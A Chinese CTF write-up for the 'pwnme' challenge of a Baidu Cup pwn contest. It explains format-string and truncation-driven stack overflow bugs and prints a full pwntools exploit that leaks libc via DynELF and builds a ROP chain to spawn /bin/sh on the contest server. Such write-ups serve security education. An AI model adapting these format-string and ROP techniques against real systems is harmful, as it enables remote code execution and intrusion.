猫头鹰
信安舆情早知道

百度杯十一月场pwn专题赛—pwnme writeup

这次比赛一共3个misc和3个pwn题,感觉只有这题还不错,总共包含三处漏洞,首先checksec看一下

3116668081

看到程序开了NX和Full RELRO,应该是想阻止我们改GOT表,接下来逆向分析找到第一处漏洞

3240795895

在show information的时候有两个fmt漏洞,前一个printf的参数是username的前20个字节,后一个printf的参数是password的前20个字节,然后是edit information时的第二处漏洞

3464415684

可以看到在类型转换的时候有截断,例如当输入长度为0x101时就可以绕过if的长度判断,最后是第三处漏洞

2000455239

由于之前的截断可以使传入的长度超过0x20,导致发生栈溢出。漏洞利用的思路很清晰一种是仅仅利用fmt的漏洞任意地址读泄露system的地址再任意地址写控制pc,另一种就是结合这三处漏洞首先用fmt泄露出system的地址,然后利用栈溢出覆盖pc,下面是第二种利用方式的exp

from pwn import *
 
DEBUG = 0
ATTACH = 0
 
def leak(addr):
 io.recvuntil('>')
 io.sendline('2')
 io.recvuntil('please input new username(max lenth:20): \n')
 io.sendline('BBBB')
 io.recvuntil('please input new password(max lenth:20): \n')
 payload1 = '%12$s' + 'BIRDGO!' + p64(addr)
 io.send(payload1)
 io.recvuntil('>')
 io.sendline('1')
 content = io.recvuntil('BIRDGO!')
 if len(content) == 12:
 return '\x00'
 else:
 return content[5:-7]
 
if DEBUG:
 context.log_level = 'debug'
 io = process('./pwnme')
 if ATTACH:
 gdb.attach(io)
else:
 io = remote('106.75.84.74', 10001)
 
# raw_input('go?')
 
io.recvuntil('Input your username(max lenth:40): \n')
io.sendline('A')
io.recvuntil('Input your password(max lenth:40): \n')
io.sendline('1')
 
d = DynELF(leak, elf=ELF('./pwnme'))
system_addr = d.lookup('system', 'libc')
log.info('system_addr:%#x' % system_addr)
 
io.recvuntil('>')
io.sendline('2')
io.recvuntil('please input new username(max lenth:20): \n')
io.sendline('A')
io.recvuntil('please input new password(max lenth:20): \n')
 
pop_rdi_ret_addr = 0x400ed3
pop_pop_pop_pop_po_ret = 0x400ecb
init_gadget = 0x400EB0
payload = 'A' * 0x28
bin_sh_addr = 0x602800
payload += p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64(0)
payload += p64(init_gadget) + p64(0x8) * 7
payload += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)
payload = payload.ljust(0x101, 'A')
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()
#io.recv()

699707946

 

*作者:Bird@Hurricane Security  Mottoin授权发布

转载请注明来自MottoIN,未经允许不得转载!MottoIN » 百度杯十一月场pwn专题赛—pwnme writeup

分享到:更多 ()

评论 抢沙发

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们